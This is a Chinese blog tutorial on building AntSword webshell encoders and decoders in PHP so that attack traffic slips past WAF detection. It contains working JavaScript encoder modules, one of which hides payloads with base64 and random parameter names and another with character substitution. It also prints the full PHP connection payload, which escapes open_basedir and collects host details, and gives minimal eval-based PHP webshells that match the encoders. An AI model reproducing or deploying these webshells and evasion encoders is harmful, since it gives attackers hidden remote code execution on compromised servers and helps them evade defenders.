AnwSword编码器与解码器-PHP

前言

众所周知,现在连WebShell,WebShell要免杀,流量要加密。

冰蝎、哥斯拉虽然提供了各种自带加密的WebShell,但特征基本都被收录了,对于脚本小子来说看不懂客户端的逻辑,也不会改WebShell。

于是,作为唯一能看懂WebShell写了什么的蚁剑就成为目前来看最好的选择。并且蚁剑提供了编码器与解码器去修改流量,总比先改客户端再改WebShell方便很多。(绝不是因为蚁剑的UI好看)

后续内容,仅考虑如何在流量层去除特征,不考虑WebShell的免杀,同时尽量做到尽可能的简化WebShell的代码。

前置知识

编码器

data[' _']

存放payload执行语句的地方

data[pwd]

shell连接密码对应的值,通常意义上的payload

例子(PHP)

'use strict';

module.exports = (pwd, data) => {
  data[pwd] = Buffer.from(data['_']).toString('base64');
  return data;
}

此处data[pwd] = Buffer.from(data['_']).toString('base64')为把payloaddata['_']中取出来赋值给data[pwd],并进行一次base64编码,效果如下

然后在返回前删除data['_']

delete data['_'];

此时password处即可正常发送paylaod

编码器流程

payloaddata['_']中取出赋值给data[pwd],此时可对payload进行编码。

随机参数原理

module.exports = (pwd, data, ext = null) => {
  // 生成一个随机变量名
  let randomID;
  if (ext.opts.otherConf['use-random-variable'] === 1) {
    randomID = antSword.utils.RandomChoice(antSword['RANDOMWORDS']);
  } else {
    randomID = `${antSword['utils'].RandomLowercase()}${Math.random().toString(16).substr(2)}`;
  }
  data[randomID] = Buffer
    .from(data['_'])
    .toString('base64');
  data[pwd] = `@eval(@base64_decode($_POST['${randomID}']));`;
  data[pwd] = Buffer.from(data[pwd]).toString('base64');
  delete data['_'];
  return data;
}

此处为把payload存入randomID,然后用pwd去调用

webshell→调用pwd→调用randomID→执行恶意代码。

解码器

执行原理

在执行的payload后加入设定的返回值编码

在蚁剑的编码器中,data是一个Object对象,此处可以简易理解为一种Key->Value形式。data['']是存放原始Payload的地方,正常使用需要将其取出赋给data[pwd]

module.exports = (pwd, data) => {
  data[pwd] = Buffer.from(data['_']).toString('base64'); // 把data['_']的值取出,赋给data[pwd],data[pwd]也是通常意义上连接WebShell的密码
  console.log(data); // 在控制台打印data对象
  delete data['_']; // 删除data['_'],可自行测试不删除data['_']会发生什么。
  return data; //返回data对象
}

在写编码器的过程中可以对蚁剑进行调试来观察输出,以下为data的打印。

例子(PHP)

默认连接测试payload整理如下

<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
[email protected]_get("open_basedir");
if($opdir) {
  $ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
  $oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
  @array_push($oparr,$ocwd,sys_get_temp_dir());
  foreach($oparr as $item) {
    if([email protected]_writable($item)) {
      continue;
    }
    ;
    $tmdir=$item."/.c57cd8db5";
    @mkdir($tmdir);
    if([email protected]_exists($tmdir)) {
      continue;
    }
    $tmdir=realpath($tmdir);
    @chdir($tmdir);
    @ini_set("open_basedir", "..");
    [email protected]_split("/\\\\|\//",$tmdir);
    for ($i=0;$i<sizeof($cntarr);$i++) {
      @chdir("..");
    }
    ;
    @ini_set("open_basedir","/");
    @rmdir($tmdir);
    break;
  }
  ;
}
;
;
function asenc($out) {
  return @base64_encode($out);
}
;
function asoutput() {
  $output=ob_get_contents();
  ob_end_clean();
  echo "25"."a77";
  echo @asenc($output);
  echo "2858"."7c22";
}
ob_start();
try {
  $D=dirname($_SERVER["SCRIPT_FILENAME"]);
  if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
  $R="{$D}  ";
  if(substr($D,0,1)!="/") {
    foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";
  } else {
    $R.="/";
  }
  $R.="  ";
  $u=(function_exists("posix_getegid"))[email protected]_getpwuid(@posix_geteuid()):"";
  $s=($u)?$u["name"]:@get_current_user();
  $R.=php_uname();
  $R.="  {$s}";
  echo $R;
  ;
}
catch(Exception $e) {
  echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();
?>

解码器改为base64

<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
[email protected]_get("open_basedir");
if($opdir) {
  $ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
  $oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
  @array_push($oparr,$ocwd,sys_get_temp_dir());
  foreach($oparr as $item) {
    if([email protected]_writable($item)) {
      continue;
    }
    ;
    $tmdir=$item."/.918d460a73";
    @mkdir($tmdir);
    if([email protected]_exists($tmdir)) {
      continue;
    }
    $tmdir=realpath($tmdir);
    @chdir($tmdir);
    @ini_set("open_basedir", "..");
    [email protected]_split("/\\\\|\//",$tmdir);
    for ($i=0;$i<sizeof($cntarr);$i++) {
      @chdir("..");
    }
    ;
    @ini_set("open_basedir","/");
    @rmdir($tmdir);
    break;
  }
  ;
}
;
;
function asenc($out) {
  return $out;
}
;
function asoutput() {
  $output=ob_get_contents();
  ob_end_clean();
  echo "b26f"."dd79";
  echo @asenc($output);
  echo "76238"."07cd6";
}
ob_start();
try {
  $D=dirname($_SERVER["SCRIPT_FILENAME"]);
  if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
  $R="{$D}  ";
  if(substr($D,0,1)!="/") {
    foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";
  } else {
    $R.="/";
  }
  $R.="  ";
  $u=(function_exists("posix_getegid"))[email protected]_getpwuid(@posix_geteuid()):"";
  $s=($u)?$u["name"]:@get_current_user();
  $R.=php_uname();
  $R.="  {$s}";
  echo $R;
  ;
}
catch(Exception $e) {
  echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();
?>

对比

仅在此处不同,进行了一次base64编码

关键点在asenc,我们来查看asenc在哪更改

asenc

解码器

/**
 * php::base64解码器
 */

'use strict';

module.exports = {
  /**
   * @returns {string} asenc 将返回数据base64编码
   */
  asoutput: () => {
    return `function asenc($out){
      return @base64_encode($out);
    }
    `.replace(/\n\s+/g, '');
  },
  /**
   * 解码 Buffer
   * @param {Buffer} buff 要被解码的 Buffer
   * @returns {Buffer} 解码后的 Buffer
   */
  decode_buff: (buff) => {
    return Buffer.from(buff.toString(), 'base64');
  }
}

此处定义了asenc的函数,及最后解码要执行的语句。

此处decode_buff定义了蚁剑接到服务器返回后做的编码处理

因此,解码器要用对应语言去写编码函数。

所以实际解码器的流程:
编写解码器(asoutput)->蚁剑发送Payload时追加使用对应解码器(asoutput)进行输出->蚁剑收到WebShell输出后再对结果进行解码(decode_buff)从而正常回显。

如果不编写对应的decode_buff,会出现类似下面的样子:

PHP编码与解码

首先看蚁剑给的默认PHP的Base64编码器,可以看出这个编码器没有什么意义。

最简单能用的base64编码器可以改成如下所示,效果如下,已经好很多了

因为Payload默认进行一次Base64编码,所以对应的WebShell需要进行改动。

<?php
eval(base64_decode($_POST['a']));
?>

所以编码器其实就是用JavaScript先对Payload进行一次编码再发送,相应的服务端WebShell也要进行对应的解码操作。

因此理论上可以做到随意的对Payload进行变形、加密、编码、混淆,真正意义上做到自定义流量过WAF,不拘泥于AES加密。

PHP进阶修改

众所周知,有些WAF不单可以识别AES流量特征,还可以循环解码Base64,所以单纯的Base64并不能满足需求,于是我们可以把编码后的字符串中某个字符换成神秘代码(PHP的解码器直接就能用,所以只演示编码器了)。

把流量中W替换为HelloWorld的编码器:

'use strict';
module.exports = (pwd, data) => {
  data[pwd] = Buffer.from(data['_']).toString('base64');
  data[pwd] = data[pwd].replace(/W/g, 'HelloWorld'); // 替换W
  delete data['_'];
  return data;
}

对应的WebShell如下:

<?php
eval(base64_decode(str_replace('HelloWorld','W',$_POST['a'])));
?>

效果:

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇